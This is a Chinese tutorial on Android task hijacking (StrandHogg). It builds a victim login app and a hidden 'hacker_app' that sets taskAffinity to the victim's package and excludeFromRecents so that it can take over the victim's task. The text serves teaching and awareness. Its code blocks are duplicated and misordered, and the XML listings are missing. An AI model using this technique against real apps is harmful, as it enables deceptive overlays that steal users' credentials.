Android中的任务劫持
极客们好,今天我们将学习一个非常新的重要的 Android 概念,称为任务或活动劫持。这个概念告诉我们攻击者或黑客如何劫持应用程序并从我们手机中的应用程序中窃取重要数据。 Task Hijacking 的概念最早由 USENIX 在 2015 年提出,也被很多研究人员称为 Strandhogg。
理解概念
一个 android 应用程序包含许多任务。任务是执行的活动和步骤的集合。每当我们运行应用程序时,都会有一个称为回栈的操作,这意味着我们打开或完成的最后一个任务。因此,主要思想是通过更改应用程序清单文件中的一些配置来更改运行时的任务或活动。让我们通过一个例子来了解后台堆栈和当前活动(前台活动) -
- 名为 A1 的活动作为当前活动或前台活动运行。
- 我们打开另一个名为 A2 的活动。
- 现在 A1 被推入后台堆栈,A2 成为前台活动。
- 当活动 A2 关闭时,活动 A1 再次成为前台活动。
这就是 Android 应用程序中活动之间导航的工作方式。
了解一些重要术语
任务亲和性:任务亲和性是一个属性,指示活动更喜欢属于哪个任务。默认情况下,同一个应用程序中的所有活动都喜欢在同一个任务中。用于任务亲和性的一段代码
启动模式:启动模式允许您定义活动的新实例如何与当前任务相关联。启动模式属性的工作是指定如何在特定任务中启动活动的指令。有四种不同类型的启动模式
- 标准
- 单顶
- 单任务
- 单实例
我们将在这篇文章中做什么?
在本文中,我们将创建两个名为hacker_app 和user_application 的应用程序。我们可以将 user_application 视为用户使用的普通应用程序,hacker_app 视为将劫持 user_application 以窃取用户数据的应用程序。下面显示了我们将在本文中构建的示例视频,以便我们可以证明任务劫持的概念。
Note: To identify task hijacking inside an application we will look at one thing in the manifest file. The application can only be hijacked if the launch mode is “singleTask” of an activity.
逐步实施以创建 user_application
第 1 步:创建一个新项目
- 打开一个新项目。
- 我们将使用Java语言开发 Empty Activity。保持所有其他选项不变。
- 将应用程序命名为 user_application。
- 将有两个名为 activity_main.xml 和 MainActivity 的默认文件。Java
如果您不知道如何在 Android Studio 中创建新项目,可以参考如何在 Android Studio 中创建/启动新项目?
第 2 步:处理 XML 文件
导航到app > res > layout > activity_main.xml并将以下代码添加到该文件。下面是activity_main.xml文件的代码。
XML
XML
XML
Java
package com.example.user_application;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
EditText username, password;
Button clk;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
username = (EditText)findViewById(R.id.username);
password = (EditText)findViewById(R.id.password);
clk = (Button)findViewById(R.id.button);
}
public void movepage(View v)
{
String stname = username.getText().toString();
String stpass = password.getText().toString();
if (stname.equals("gfg")
&& stpass.equals("gfg123")) {
Intent in = new Intent(MainActivity.this,
LoggedIn.class);
in.putExtra("username", stname);
in.putExtra("password", stpass);
startActivity(in);
}
}
}
Java
package com.example.user_application;
import android.content.Intent;
import android.os.Bundle;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
public class LoggedIn extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_logged_in);
TextView userdisp
= (TextView)findViewById(R.id.userdisp);
TextView passdisp
= (TextView)findViewById(R.id.passdisp);
Intent intent = getIntent();
String username = intent.getStringExtra("username");
String password = intent.getStringExtra("password");
userdisp.setText(username);
passdisp.setText(password);
}
}
XML
Java
package com.example.hacker_app;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import com.google.android.material.snackbar.Snackbar;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override public void onResume()
{
super.onResume();
setContentView(R.layout.activity_main);
}
}
XML
按照路径应用 > 右键单击 > 新建 > 活动 > 空活动 > 将其命名为“LoggedIn” 。导航到app > res > layout > activity_logged_in.xml并将以下代码添加到该文件。下面是 activity_logged_in.xml 文件的代码。
XML
导航到app > manifests > AndroidManifest.xml并在其中使用以下代码 -
XML
请注意,启动模式设置为“singleTask”,这是存在漏洞的地方。
第 3 步:处理Java文件
转到 MainActivity。 Java文件并参考以下代码。下面是 MainActivity 的代码。 Java文件。
Java
package com.example.user_application;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
EditText username, password;
Button clk;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
username = (EditText)findViewById(R.id.username);
password = (EditText)findViewById(R.id.password);
clk = (Button)findViewById(R.id.button);
}
public void movepage(View v)
{
String stname = username.getText().toString();
String stpass = password.getText().toString();
if (stname.equals("gfg")
&& stpass.equals("gfg123")) {
Intent in = new Intent(MainActivity.this,
LoggedIn.class);
in.putExtra("username", stname);
in.putExtra("password", stpass);
startActivity(in);
}
}
}
转到登录。 Java文件并参考以下代码。下面是 LoggedIn 的代码。 Java文件。
Java
package com.example.user_application;
import android.content.Intent;
import android.os.Bundle;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
public class LoggedIn extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_logged_in);
TextView userdisp
= (TextView)findViewById(R.id.userdisp);
TextView passdisp
= (TextView)findViewById(R.id.passdisp);
Intent intent = getIntent();
String username = intent.getStringExtra("username");
String password = intent.getStringExtra("password");
userdisp.setText(username);
passdisp.setText(password);
}
}
现在我们的 user_application 已成功创建。
逐步实现创建hacker_app
第 1 步:创建一个新项目
- 打开一个新项目。
- 我们将使用Java语言开发 Empty Activity。保持所有其他选项不变。
- 将应用程序命名为 user_application。
- 将有两个名为 activity_main.xml 和 MainActivity 的默认文件。Java
如果您不知道如何在 Android Studio 中创建新项目,可以参考如何在 Android Studio 中创建/启动新项目?
第 2 步:处理 activity_main.xml 文件
导航到 app > res > layout > activity_main.xml 并将以下代码添加到该文件。下面是 activity_main.xml 文件的代码。
XML
第 3 步:处理 MainActivity。Java
转到 MainActivity。 Java文件并参考以下代码。下面是 MainActivity 的代码。 Java文件。
Java
package com.example.hacker_app;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import com.google.android.material.snackbar.Snackbar;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override public void onResume()
{
super.onResume();
setContentView(R.layout.activity_main);
}
}
第 4 步:处理 AndroidManifest.xml 文件
XML
Note:
Here, since we want to target our user_application, we’ll define the task affinity using its package name
android:taskAffinity=”com.example.user_application”
Another thing android:excludeFromRecents ensures the task is not listed in the recent apps so that the attackers’ app is hidden.
在手机上安装这两个应用程序。
输出:
在上面的视频中可以看到,当user_application正常打开时,它运行在自己的任务中。当我打开hacker_app时,前台没有任何反应,但是由于上面定义的属性,该应用程序打开并最小化了自身对最近应用程序的隐藏。现在再次打开user_application,可以看到hacker_app劫持了user_application的任务。所以,这都是关于任务劫持概念的演示。